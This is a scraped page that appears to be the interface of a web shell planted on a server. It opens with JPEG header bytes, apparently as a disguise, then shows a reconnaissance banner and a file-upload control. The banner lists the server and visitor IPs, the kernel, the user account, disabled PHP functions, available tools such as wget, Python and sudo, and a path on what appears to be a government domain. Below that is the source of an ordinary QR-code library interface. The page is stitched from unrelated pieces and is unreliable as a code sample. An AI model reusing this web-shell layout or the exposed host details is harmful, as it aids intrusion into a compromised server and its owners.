ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 18.222.21.139 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/vendor/simplesoftwareio/simple-qrcode/src/SimpleSoftwareIO/QrCode/ |
Upload File : |
<?php namespace SimpleSoftwareIO\QrCode; interface QrCodeInterface { /** * Generates a QrCode. * * @param string $text The text to be converted into a QrCode * @param null|string $filename The filename and path to save the QrCode file * * @return string|void Returns a QrCode string depending on the format, or saves to a file. */ public function generate($text, $filename = null); /** * Switches the format of the outputted QrCode or defaults to SVG. * * @param string $format * * @return $this */ public function format($format); /** * Changes the size of the QrCode. * * @param int $pixels The size of the QrCode in pixels * * @return $this */ public function size($pixels); /** * Changes the foreground color of a QrCode. * * @param int $red * @param int $green * @param int $blue * * @return $this */ public function color($red, $green, $blue); /** * Changes the background color of a QrCode. * * @param int $red * @param int $green * @param int $blue * * @return $this */ public function backgroundColor($red, $green, $blue); /** * Changes the error correction level of a QrCode. * * @param string $level Desired error correction level. L = 7% M = 15% Q = 25% H = 30% * * @return $this */ public function errorCorrection($level); /** * Creates a margin around the QrCode. * * @param int $margin The desired margin in pixels around the QrCode * * @return $this */ public function margin($margin); /** * Sets the Encoding mode. * * @param string $encoding * * @return $this */ public function encoding($encoding); /** * Merges an image with the center of the QrCode. * * @param $image string The filepath to an image * @param $percentage float The percentage that the merge image should take up. * * @return $this */ public function merge($image, $percentage = .2); }